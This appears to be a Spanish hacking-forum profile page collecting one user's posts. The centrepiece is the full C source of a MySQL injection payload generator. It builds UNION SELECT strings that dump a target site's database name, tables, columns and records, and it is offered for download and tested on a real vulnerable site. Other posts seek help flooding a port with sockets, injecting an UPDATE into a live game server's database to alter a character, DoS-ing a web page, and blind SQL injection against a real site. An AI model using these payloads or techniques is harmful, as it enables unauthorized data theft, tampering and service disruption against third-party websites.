elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Sigue las noticias más importantes de seguridad informática en el Twitter! de elhacker.NET


  Mostrar Temas
Páginas: [1]
1  Programación / Programación C/C++ / [ANSI C]Codigo fuente del generador de mysql inyection. en: 28 Febrero 2011, 15:12 pm
Version 0.1(Compilado para windows) :

Opciones disponibles hasta el momento:

  • Sacar base de datos actual de la pagina.
  • Sacar version del mysql.
  • Sacar todas las tablas de la base de datos.
  • Sacar todas las columnas de una tabla.
  • Sacar 2 registros por ejecucion de una columna de la tb.
Código:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define N_ELEMENTOS 999

//PHAMTOM
//Gretz : Fer995,BlackCoder & 3mp3z@ndo
void finalmenu()
{
     printf("\n\n");
printf("1-Volver al menu\n");
     printf("\n2-Salir\n ==> ");
    
 }



void tablax()
{
     system("cls");
     printf("Nombre de tabla a sacar columnas ==>");
    
 }
void ncolumnas()
{
     system("cls");
printf("Numero de columna que se imprime en pantalla ==> ");
 }
void columnas()
{
system("cls");
printf("Si no entendiste este paso , visita la parte de ayuda del programa");
printf("\nNumeros de columnas de la pagina => ");
}

void menu()
{
printf("Menu Utilise el numero de opcion y la tecla enter para seleccionar -->(MySql)\n\n");
printf("\n1-Sacar version del mysql");
printf("\n2-Sacar base de datos que corre la pagina");
printf("\n3-Sacar todas las tablas de la base de datos");
printf("\n4-Sacar todas las columnas de una tabla");
printf("\n5-Sacar registros de la columna de una base de datos\n");
printf("\n\nOpciones\n\n");
printf("\n6-Ayuda");
printf("\n7-Salir");
printf("\n\n\nElige => ");
}
void error()
{
system("cls");
printf("\nError..El programa se ha cerrado.");
printf("\nEsto puede pasar por usar un numero de opciones inexistente o sobrepasar el nivel del buffer del array para mas informacion visite ayuda");
system("pause>Nul");
exit(-1);
}
int main()
{
    system("cls");
int o=0,n=0,c=0,z=0,k=0,ii=0;
char tablaxx[N_ELEMENTOS];

char columna2[N_ELEMENTOS];
char target[N_ELEMENTOS];
char tebla[N_ELEMENTOS];
char columna1[N_ELEMENTOS];
char columnaa[N_ELEMENTOS];
printf("Ejemplo : www.target.com/noticias.php?id=\n\n");
printf("Target vulnerable => ");
scanf("%s",target);
n=strlen(target);
if(n>999)
{
error();
}
if(n<=999)
{
system("cls");


system("title Generador de inyecciones MySql escrito por PHAMTOM.");
menu();
scanf("%d",&o);
if(o==1)
{
columnas();
scanf("%d",&c);
system("cls");
printf("Numero de columna que se imprime en pantalla ==> ");
scanf("%d",&z);
system("cls");
printf("\n\n\n\n\n Use: \n\n\n\t  %s-1+union+select+all+ ",target);
for(int j=0;j<=c;j++)
{
        if(z==j)
        {
                printf("version(),");
                }
              
                        
                                    else{
printf("%d,",j);
}
}
printf("\b \b --");
printf("\n\nDone!!");
finalmenu();
scanf("%d",&ii);
if(ii==1)
{
         main();
         }
         if(ii==2)
         {
                  system("msg * gracias por usar el programa");
                  exit(-1) ;
                  }
                  else
                  {
                      error();
                  }
system("pause>Nul");
}
if(o==2)
{
    
columnas();
scanf("%d",&c);
system("cls");
printf("Numero de columna que se imprime en pantalla ==> ");
scanf("%d",&z);
system("cls");
printf("\n\n\n\n\n Use : \n %s -1+union+select+all + ",target);
for(int j=0;j<=c;j++)
{
        if(z==j)
        {
                printf("database(),");}
                
                                    else{
printf("%d,",j);
}
}
printf("\b \b --");
printf("\n\nDone!!");
finalmenu();
scanf("%d",&ii);
if(ii==1)
{
         main();
         }
         if(ii==2)
         {
                  system("msg * gracias por usar el programa");
                  exit(-1) ;
                  }
                  else
                  {
                      error();
                  }
system("pause>Nul");
}
        if(o==3)
        {
                system("cls");
        printf("Sacar todas las tablas de la base de datos de la pagina\n\n");
printf("\n");
        
                {
columnas();
scanf("%d",&c);
ncolumnas();
scanf("%d",&z);
system("cls");
printf("\n\n\n\n\n Use :\n %s -1+union+select+all+ ",target);
for(int j=0;j<=c;j++)
{
        if(z==j)
        {
                printf("group_concat(table_name),");
                }
                
                                    else{
                                        
printf("%d,",j);

}
}
printf("\b");
printf("+from+information_schema.tables+where+table_schema=database() --");
printf("\n\nDone!!");
finalmenu();
scanf("%d",&ii);
if(ii==1)
{
         main();
         }
         if(ii==2)
         {
                  system("msg * gracias por usar el programa");
                  exit(-1) ;
                  }
                  else
                  {
                      error();
                  }
system("pause>Nul");
}
                    }}
                    if(o==4)
                    {
                            system("cls");
                            printf("\n\nSacar columnas de una tabla\n\n");
                                        
      
        
                {
columnas();
scanf("%d",&c);
ncolumnas();
scanf("%d",&z);
system("cls");
tablax();
scanf("%s",tablaxx);
system("cls");
printf("\n\n\n\n\n use: \n %s-1+union+select+all+",target);
for(int j=0;j<=c;j++)
{
        if(z==j)
        {
                printf("group_concat(column_name),");}
                
                                    else{
printf("%d,",j);
}
}
printf("\b");
printf("+from+information_schema.columns+where+table_name=char(");
int v=strlen(tablaxx);
for(int a=0;a<=v;a++)
{
        printf("%d,",tablaxx[a]);
        }
        printf("\b\b\b) --");
printf("\n\nDone!!");
finalmenu();
scanf("%d",&ii);
if(ii==1)
{
         main();
         }
         if(ii==2)
         {
                  system("msg * gracias por usar el programa");
                  exit(-1) ;
                  }
                  else
                  {
                      error();
                  }
system("pause>Nul");
}
                    }
                            
                            
                            if(o==5)
                            {
                                    system("cls");
                                    printf("Sacar registros de una columna de una DB.\n");
                                    columnas();
                                    scanf("%d",&c);
                                    ncolumnas();
                                    scanf("%d",&z);
                                    system("cls");
                                    printf("Escriba el nombre de la tabla a sacar datos : ");
                                    scanf("%s",tebla);
                                    system("cls");
                                    printf("Escriba la columna 1 : ");
                                    scanf("%s",columna1);
                                    system("cls");
                                    printf("Escriba la columna 2 : ");
                                    scanf("%s",columnaa);
                                    printf("\n\n\n\n\n Use : \n %s-1+union+select+all+",target);
for(int j=0;j<=c;j++)
{
        if(z==j)
        {
                printf("concat(%s,0x3a,%s),",columna1,columnaa);}
                
                                    else{
printf("%d,",j);
}
}
printf("\b \b+from+%s --",tebla);
printf("\n\nDone!!");
finalmenu();
scanf("%d",&ii);
              if(ii==1)
              {
                       main();
                      
                       }            
                       else if(ii>2)
                       {
                            error();
                        }        
                        if(ii==2)
                        {
                                 system("cls");
                                 system("msg * gracias por usar el programa");
                                exit(-1);
                                 }
                                
                              
}
if(o==6)
{
        system("start ayuda.txt");
        }
        if(o==7)
        {
                exit(-1);
                }
                if(o>7)
                {
                       error();
                       }
        
}

Ayuda.txt

Código:
Este pad , no tiene como fin explicar el porque , ni como
realizar una inyeccion mysql , solo es para aclarar
los datos que pide el programa.

Cuando te pide numeros de columnas :

Esta es la unica parte que tenes que hacer manualmente
el generador luego te ayuda para imprimir datos, columnas,tablas.-
Busca un target vulnerable, o alguna pagina
que sea vulnerable a mysql inyection.
-1+union+select+0,1,2,3,4,5,6 -- sacas el numero de columnas
el 6 en este caso , es el numero ,por lo tanto cuando
te pide numero de columnas respondemos con 6.

Cuando el programa pide numero de columna que imprime
nos fijamos cual de las comunas, en mi caso , 1,2,3,4,5,6 imprime en pantalla.
para que el programa pueda generar la sql query correcta.


Lo demas para sacar datos de las columnas , sacar tablas
Nos podemos hiar dependiendo de como responde la pagina.

Gracias por descargar el programa , cualquier duda puedes mandarme un pm.
por los foros donde veas el usuario PHAMTOM o volteo0101.


Un saludo :) gracias a los usuarios que respondieron mi post de dudas sobre cadenas de caracteres.
2  Seguridad Informática / Nivel Web / [Tool]Mysql inyection generator. en: 28 Febrero 2011, 15:11 pm
Acabo de terminar un generador de mysql inyeccion que esta escrito en ANSI C, este generador facilita muchisimo la tarea de andar escribiendo la inyeccion, un saludo.

les dejo el archivo en un .rar con el codigo fuente, tambien el codigo fuente lo dejare en el apartado de programacion C.


Links :

http://rapidshare.com/files/450252883/SqlTool.rar


Un saludo ,y espero que les guste me costo un poco de tiempo.

PD :El usuario que quiera agregar alguna opcion al programa , o editarlo a su gusto puede hacerlo , pueden tambien publicarlo donde quieras, solamente dejen una fuente y el autor del programa,en caso que lo toquen lo editen , lo cambien pueden ponerse como release.


Esta en su version 0.1 , por lo tanto es beta , cualquier error pueden decirme , lo probe en una pagina que encontre vulnerable a mysql y funciono , las querys estan bien formuladas, el que quiera la pagina me puede mandar un pm , no la paso por aca para evitar el spam.

ESTA COMPILADO PARA WINDOWS , PERO SOLO PORQUE LLAMO COMANDOS DEL SISTEMA ,PUEDEN CAMBIAR LOS COMANDOS Y FUNCIONA PERFECTAMENTE PARA UNIX Y LINUX.
3  Programación / Programación C/C++ / [ANSI C]Ayuda con cadenas de caracteres. en: 27 Febrero 2011, 01:44 am
Buenas, estoy desarrollando una aplicacion en ansi c, que es un generador de inyecciones mysql , pero tengo un problema..

Código:
if(o==1)
{
columnas();
scanf("%d",&c);
system("cls");
printf("Numero de columna que se imprime en pantalla ==> ");
scanf("%d",&z);
system("cls");
printf("\n\n\n\n\n Target : %s and 1=0 +union+select+all+ ",target);
for(int j=0;j<=c;j++)
{
        if(z==j)
        {
                printf(",version()");}
               
                                    else{
printf(",%d",j);
}
}
printf(" --");
printf("\n\nDone!!");
system("pause>Nul");
}

parte del codigo es asi , pero si pongo en la parte de
 printf(",%d",j);      // LA COMA ANTES ME QUEDA ASI :
,0,1,2,3,4,5 -- etc..

pero si la pongo despues :

printf("%d,",j);

Me queda :

0,1,2,3,4,5,6,7, --

yo necesito que queda , sin la primera coma y sin la ultima .. osea algo asi:

0,1,2,3,4,5,6 --

Algun algoritmo ?? ..

Gracias de antemano (:

4  Programación / PHP / Consulta~Editar archivo de texto en una linea especifica. en: 8 Febrero 2011, 07:04 am
La pregunta es como podria desde un script php editar una parte de el codigo fuente de otro archivo php.
tengo una archivo php ini.php

ini.php

$p=$_REQUEST['$var'];
echo $p;

Quisiera saber como desde otro php , puedo editar la parte de echo $p ;

por ejemplo , cambiar el echo por un print , saludos.
5  Programación / Scripting / [Duda]Sockets en perl. en: 12 Enero 2011, 12:05 pm
Buenas noches, estaba necesitando enviar muchos sockets a un mismo puerto .

Código
  1. #!/usr/bin/perl
  2. use IO::Socket::INET;
  3. while($x<=$slot)
  4. {
  5. IO::Socket::INET->new( PeerAddr => "$ip",
  6. PeerPort => "$puerto" ,
  7. Proto => "tcp");
  8. print "Enviado";
  9. $x++;
  10. }
  11.  


parte del codigo es este..

El tema es que creo que envia simpre el mismo socket,yo necesito enviar distintos sockets al puerto .

las variables , $puerto y $ip son pasadas por <STDIN>

Alguien me podria decir como puedo hacer un array con muchos sockets ? o alguna forma de enviar muchos sockets distintos a un msimo puerto sin ningun tipo de informacion,solo necesito que conecten.

Desde ya muchas gracias .

PD : Este script corre correctamente, pero no pude tener los mismos resultados que tube con un visualbasic que programe , que mandaba con un arreglo de winsock muchos sockets al mismo puerto.


EDIT : Acabo de hacer unas pruebas con netstat -a , en el perl solo conecta 1 socket al puerto , en cambio cuando uso mi visualbasic con arreglos de winsock conecta mas de 300 ..alguien puede ayudarme a hacer conectar muchos sockets ? saludos.
6  Programación / Programación C/C++ / [C]WINSOCK. en: 10 Enero 2011, 09:24 am
Hola a todos

Hace mucho tiempo me puse a leer programacion de sockets en C
sobre windows para poder desarrolla un proyecto...
el problema es que para que la aplicacion funcione correctamente
nesesito poder utilisar sockets no bloqueantes,y cuando busque en google
no encontre documentacion que me aclarara como poder utilisar sockets
en modo no bloqueante

lo que les pido es que me puedan dar alguna referencia o alguna explicacion
de como utilisar asi los sockets

informacion adicional:

SO: Windows
Lenguage: C
IDE: Dev - C
y utiliso winsock

agradeceria cualquier aYUda,ya llevo mucho tiempo sin poder resolver este problema
gracias de antemano
7  Seguridad Informática / Nivel Web / [Duda]Mssql inyection. en: 4 Enero 2011, 11:25 am
Buenas,estuve viendo una pagina que tenia un sistema de noticias pero esta vez no estaba orientado a bases de datos mysql , si no a php con sql server 2000.

http://web.com/noticias/noticia.php?id='

Al poner eso obtenia un error como este.

Warning: mssql_query() [function.mssql-query]: message: Error al convertir el tipo de datos varchar a bigint. (severity 16) in C:\AppServ\www\noticias\noticia.php on line 109

si ponia en el id = 1

se imprimia la noticia uno , en 2 se imprimia la 2.

trate de formular la consulta mssql.

y creo que queda asi

$consulta=Select from noticias where id="$_GET['id']"


Yo habia leido que en sql server se podian hacer consultas con update, delete unido al select.

por lo que probe fue

id=' Update character set resets = 300 where name='volteo' --

El mismo error , cuando dice que no puede convertir datos varchar a bigint quiere decir que no puede convertir la cadena que paso por get a bigint ?? no funciona por la funcion de conversion la inyeccion?

Hay alguna manera de saltearme esta conversion ?


PD : SE TRATA DE UN JUEGO ONLINE DONDE LOS PERSONAJES ESTAN EN LA TABLA CHARACTER Y ALLI ESTA GUARDADO LOS RESETS , EL ORO ETC ETC.

gracias.
8  Seguridad Informática / Nivel Web / Consulta ataque dos a una pagina web. en: 30 Diciembre 2010, 09:07 am
Buenas noches,tengo una pagina web donde mediante una peticion get verifica el estado de un servidor.

ejemplo :

http://pagina.com/verificar.php?server=http://www.google.com.ar:80

esta pagina manda un socket mediante php a ese servidor leido por la variable, si el servidor esta disponible , larga una imagen color verde, si esta off una roja.

la consulta es puedo hacer un ataque dos mandando muchas peticion get mediante un bucle o cualquier otra cosa ..

mando muchas peticiones gets al verificar.php con una pagina que tarde en abrir , o que tarde en conectar el socket , podria ser que funcione el ataque d.o.s?¿ ?



saludos y gracias de antemano.
9  Seguridad Informática / Nivel Web / [Duda]Blind sql inyection. en: 24 Diciembre 2010, 03:53 am
buenas,estuve leyendo algo sobre blind sql inyection.

y me tope con una web similar a ..

ejemplo.com/archivo.php?id=1

Mostraba unas contrataciones ,

al poner..

ejemplo.com/archivo.php?id=1 and 1 = 1 --


Mostraba las contrataciones ,

Al poner..

ejemplo.com/archivo.php?id=1 and 1 = 0 --

No mostraba nada, suponia que habia un blind..

luego intente hacer lo siguiente..

ejemplo.com/archivo.php?id=1 and (Select (*) from admin) --


No mostraba nada..

ejemplo.com/archivo.php?id=1 and (Select (*) from noticias) --


No mostraba nada..

ejemplo.com/archivo.php?id=1 and (Select (*) from mysql) --

tampoco .

probe tambien con cout.

ejemplo.com/archivo.php?id=1 and (Cout(*) from mysql) --

Nada.

Es blind sql inyection, estoy haciendo algo mal?¿ , la pagina que vulnero es una importante bien hecha,  no creo que no tenga ninguna de las tablas..
sera un switch ?

saludos.
Páginas: [1]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines